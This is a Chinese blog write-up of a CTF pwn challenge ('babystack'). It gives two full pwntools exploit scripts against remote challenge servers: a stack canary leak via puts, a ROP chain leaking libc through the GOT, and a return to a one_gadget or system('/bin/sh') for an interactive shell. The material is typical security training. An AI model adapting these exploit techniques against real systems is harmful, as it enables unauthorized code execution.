[攻防世界]pwn1

给出了libc.so 应该是计算偏移

图上说明的很清楚了

通过case1,覆盖到标志位,就可以通过case2 把表示位puts出来

puts遇到\x00停止

标志位最后两位一定是\x00 sendline末尾自动加上\n 覆盖掉\x00

所以puts就不会停止 这也方便我们recv的定位

泄露出标志位,通过case3 就可以常规溢出了

这里用到一个很方便的新东西 one_gadget

这玩意可以直接给你把运行shell的代码地址找出来

比如这样

这也是libc里面的地址 仍然需要base地址计算真实地址

每次遇到要recv需要的东西的时候一定要确保接下来输出就是自己需要recv的东西

from pwn import *
# io=process('./babystack')
io=remote('111.198.29.45',54771)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')

io.sendlineafter('>> ','1')
payload='A'*0x88
io.sendline(payload)

io.sendlineafter('>> ','2')
io.recvuntil('A'*0x88+'\n')
canary=u64(io.recv(7).rjust(8,'\x00'))
print 'canary:'+hex(canary)
rdi_pop=0x400a93
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400908
payload='a'*(0x88)+p64(canary)+'a'*8
payload+=p64(rdi_pop)+p64(puts_got)
payload+=p64(puts_plt)+p64(main_addr)
io.sendlineafter('>> ','1')
io.sendline(payload)
io.recv()
io.sendlineafter('>> ','3')
puts_addr=u64(io.recv(8).ljust(8,'\x00'))
print 'puts_addr:'+hex(puts_addr)
base=puts_addr-libc.symbols['puts']
one_gadget_addr=base+0x45216

io.sendlineafter('>> ','1')
payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr)
io.sendline(payload)
io.sendlineafter('>> ','3')
print "end"
io.interactive()

#rdi, rsi, rdx, rcx, r8, r9

 

 当然自己泄露libc也行

from pwn import *
from LibcSearcher import *

# io = process('./stack')
io = remote('node3.buuoj.cn',29860)
elf=ELF('./stack')
# context(arch='amd64',os='linux',log_level='debug')

payload='A'*0x89
io.sendlineafter('>> ','1')
io.send(payload)
io.sendlineafter('>> ','2')
io.recvuntil('A'*0x89)
canary=u64(io.recv(7).rjust(8,'\x00'))
success('canary:'+hex(canary))

start=0x400720
rdi_pop=0x400a93
payload='A'*0x88+p64(canary)+p64(0)
payload+=p64(rdi_pop)+p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])+p64(start)
io.sendlineafter('>> ','1')
sleep(0.5)
io.sendline(payload)
io.sendlineafter('>> ','3')
puts=u64(io.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts) # 4
base=puts-libc.dump('puts')
success('base:'+hex(base))
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload='A'*0x88+p64(canary)+p64(0)
payload+=p64(rdi_pop)+p64(binsh)
payload+=p64(system)+p64(start)
io.sendlineafter('>> ','1')
sleep(0.5)
io.sendline(payload)
io.sendlineafter('>> ','3')


io.interactive()
# choice :
posted @ 2019-11-19 09:36  Papayo  阅读(1166)  评论(5编辑  收藏  举报